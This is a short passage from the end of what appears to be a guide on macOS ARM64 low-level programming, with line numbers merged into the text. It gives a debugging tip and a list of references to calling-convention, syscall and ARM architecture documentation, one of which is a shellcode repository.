inspect registers at breakpoints5658. **Reference libsystem_kernel.dylib** for syscall implementations566567## References568569- [Apple Swift ABI - ARM64 Calling Convention](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)570- [XNU syscalls.master](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)571- [macOS ARM64 Shellcode](https://github.com/daem0nc0re/macOS_ARM64_Shellcode)572- [ARM Architecture Reference Manual](https://developer.arm.com/documentation)